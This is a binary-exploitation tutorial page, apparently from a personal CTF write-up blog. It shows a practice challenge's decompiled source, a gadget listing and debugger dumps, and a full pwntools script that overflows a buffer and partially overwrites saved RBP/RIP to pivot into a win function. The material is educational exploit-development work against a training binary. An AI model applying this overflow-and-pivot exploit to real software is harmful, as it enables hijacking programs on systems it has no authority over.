📃
Writeups
Blog
  • â„šī¸whoami
  • 👩‍đŸ’ģBinary Exploitation
    • Basic Binary Protections
    • ROP
    • Format String Bug
    • Stack Pivoting
    • Partial Overwrite
    • Symbolic Execution
    • Heap
      • Heap Basics
      • Heap Overflow
      • Heap Grooming
      • Use After Free / Double Free
      • Fast Bin Attack
      • One By Off Overwrite
      • House of Force
  • 🎮HackTheBox
    • Challenges
      • Baby Website Rick
      • Space pirate: Entrypoint
    • Boxes
      • Analysis
      • DevOops
      • Celestial
      • Rebound
      • CozyHosting
      • Authority
  • 📄CTF Writeups
    • CTF Writeups
      • USCTF 2024
        • Spooky Query Leaks
      • HackTheVote
        • Comma-Club (Revenge)
      • HeroCTF 2024
        • Heappie
      • Buckeye 2024
        • No-Handouts
      • TetCTF 2024
        • TET & 4N6
      • PatriotCTF 2023
        • ML Pyjail
        • Breakfast Club
    • Authored Challenges
      • Team Rocket
Powered by GitBook
On this page
  1. Binary Exploitation

Partial Overwrite

Overwriting the LSB of a address or register (E.g RIP)

PreviousStack PivotingNextSymbolic Execution

Last updated 7 months ago

We have a binary with PIE & NX enabled.

Looking at the source code, we can determine that we have a win_ptr and a obvious buffer_overflow with leak to buffer.

void challenge(void)

{
  int win;
  void *win_ptr;
  ssize_t input;
  undefined8 input_buffer;
  undefined8 local_28;
  undefined8 local_20;
  undefined8 local_18;
  undefined4 local_c;
  
  input_buffer = 0;
  local_28 = 0;
  local_20 = 0;
  local_18 = 0;
  printf("[LEAK] Your input buffer is located at: %p.\n\n ",&input_buffer);
  win_ptr = mmap((void *)0x0,312,3,34,0,0);
  memcpy(win_ptr,&DAT_00103038,312);
  result= mprotect(win_ptr,312,5);
  if (result != 0) {
    __assert_fail("mprotect(data.win_addr, 0x138, PROT _READ|PROT_EXEC) == 0","<stdin>",42,
                  "challenge");
  }
  input = read(0,&input_buffer,4096);
  local_c = (undefined4)input;
  puts("Leaving!");
  return;
}

Since we have a buffer overflow, we can attempt to control RIP to try to stack pivot to our controlled buffer (input_buffer) where we can potentially place our ROP chain. Let's first look for a stack pivoting gadget by filtering for anything that deals with rsp.

[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
0x00000000000020bd: add al, ch; sbb eax, 0xb8fffff0; add byte ptr [rax], al; add byte ptr [rax], al; leave; ret; 
0x00000000000020c4: add byte ptr [rax], al; add byte ptr [rax], al; leave; ret; 
0x00000000000020bc: add byte ptr [rax], al; call 0x10e0; mov eax, 0; leave; ret; 
0x0000000000002008: add byte ptr [rax], al; call 0x10e0; nop; leave; ret; 
0x00000000000020c6: add byte ptr [rax], al; leave; ret; 
0x00000000000020be: call 0x10e0; mov eax, 0; leave; ret; 
0x000000000000200a: call 0x10e0; nop; leave; ret; 
0x0000000000002005: cmp eax, 0x10bf; call 0x10e0; nop; leave; ret; 
0x0000000000001fff: dec dword ptr [rcx - 0x72b703bb]; cmp eax, 0x10bf; call 0x10e0; nop; leave; ret; 
0x0000000000002004: lea edi, [rip + 0x10bf]; call 0x10e0; nop; leave; ret; 
0x0000000000002003: lea rdi, [rip + 0x10bf]; call 0x10e0; nop; leave; ret; 
0x0000000000002000: mov dword ptr [rbp - 4], eax; lea rdi, [rip + 0x10bf]; call 0x10e0; nop; leave; ret; 
0x00000000000020c3: mov eax, 0; leave; ret; 
0x00000000000020bf: sbb eax, 0xb8fffff0; add byte ptr [rax], al; add byte ptr [rax], al; leave; ret; 
0x0000000000002002: cld; lea rdi, [rip + 0x10bf]; call 0x10e0; nop; leave; ret; 
0x0000000000002010: leave; ret; 
0x000000000000200f: nop; leave; ret;

We can use the leave; ret gadget since we control RBP and RIP.

We can also determine what is the offset from our leak the win pointer is by using a debugger like pwndbg

pwndbg> x/50gx 0x7ffcfa741500
0x7ffcfa741500: 0x0000000000000d68      0x00007f4f31ba8951
0x7ffcfa741510: 0x0000000000000d68      0x000000000000000a
0x7ffcfa741520: 0x00007f4f31d056a0      0x0000560df5fe30c9
0x7ffcfa741530: 0x0000560df5fe5010      0x00007f4f31d014a0
0x7ffcfa741540: 0x0000000000000000      0x00007f4f31ba8e93
0x7ffcfa741550: 0x0000000000000008      0x00007f4f31d056a0
0x7ffcfa741560: 0x0000560df5fe30c9      0x00007f4f31b9c59a
0x7ffcfa741570: 0x0000560df5fe20d0      0x00007ffcfa7415f0
0x7ffcfa741580: 0x0000560df5fe1160      0x00007ffcfa741710
0x7ffcfa741590: 0x0000000000000000      0x0000560df5fe200f
0x7ffcfa7415a0: 0x0000000000000000      0x00007ffcfa741728
0x7ffcfa7415b0: 0x00007ffcfa741718      0x0000000131ba653d
0x7ffcfa7415c0: 0      
0x7ffcfa7415d0: 0x4949494949494949      0x4949494949494949
0x7ffcfa7415e0: 0x4949494949494949      0x0000017149494949
0x7ffcfa7415f0: 0x494e494949494949      0x4949494949494949
0x7ffcfa741600: 0x4949494949494949      0x4949494949494949
0x7ffcfa741610: 0x4949494949494949      0x4949494949494949
0x7ffcfa741620: 0x4949494e49494949      0x4949494949494949
0x7ffcfa741630: 0x4949494949494949      0x4949494949494949
0x7ffcfa741640: 0x4949494949494949      0x4949494949494949
0x7ffcfa741650: 0x49494949494e4949      0x4949494949494949
0x7ffcfa741660: 0x4949494949494949      0x4949494949494949
0x7ffcfa741670: 0x4949494949494949      0x4949494949494949
0x7ffcfa741680: 0x494949494949494e      0x4949494949494949
pwndbg> x/10gx 0x00007f4f31d38000 
0x7f4f31d38000: 0x00ec8148e5894855      0x010101b848000001
0x7f4f31d38010: 0xb848500101010101      0x01010166606d672e
0x7f4f31d38020: 0x31e7894824043148      0x050f58026af631d2
0x7f4f31d38030: 0xb6d231c031c78948      0x016a050fe6894801
0x7f4f31d38040: 0x6ae68948c289485f

Knowing that we can simply "pivot" to the win pointer, we can come up with the following exploit chain.

Exploit Flow

  1. Partial Overwrite last byte to go to our leave; ret gadget

  2. Set RBP to an offset of leak-0x10 to account for POP RBP in leave; ret of the challenge function prologue

  3. Execute leave; ret again via gadget so that we pivot to our win pointer and win

#!/usr/bin/env python3

from pwn import *

exe = ELF("./ni")
# libc = ELF("./libc.so.6")
# ld = ELF("./ld-linux-x86-64.so.2")

context.binary = exe


def conn():
    while True:
        try:
            r = process([exe.path], aslr=True)
            gdb.attach(r)
            offset = 48
            r.recvuntil(b'[LEAK] Your input buffer is located at: ')
            leak = r.recvline()[:-2]
            leak = int(leak, 16)
            r.clean()
            print(f"Input Buffer Leak : {hex(leak)}")
            payload = b'A' * 40
            payload += p64(leak-0x10)
            payload += b'\x10\x00'
            r.send(payload)
            r.recvuntil(b'Leaving!')
            result = r.recvline()
            if b'hehehaha' in result:
                print(result)
                break
        except Exception as e:
            continue


def main():
    r = conn()
    r.interactive()


if __name__ == "__main__":
    main()

What I learned

  • RSP is adjusted each time a pop/push instruction is executed

  • for pop gadgets, the values don't have to be user-controlled/valid, stack always have garbage values - as long the pop gadgets are not used for a syscall etc

  • Think about what registers i have control of and how do i manipulate it to point to where i want (rsp -/+ offset so that i can align my pop gadgets properly and retn to the right ptr?)

  • Dont be fixed in terms of looking for certain gadgets (e.g lea rsp, [rbp - 0x18]; pop rbx; pop r12; pop r13; pop rbp; ret; - can be used for pivoting too)

👩‍đŸ’ģ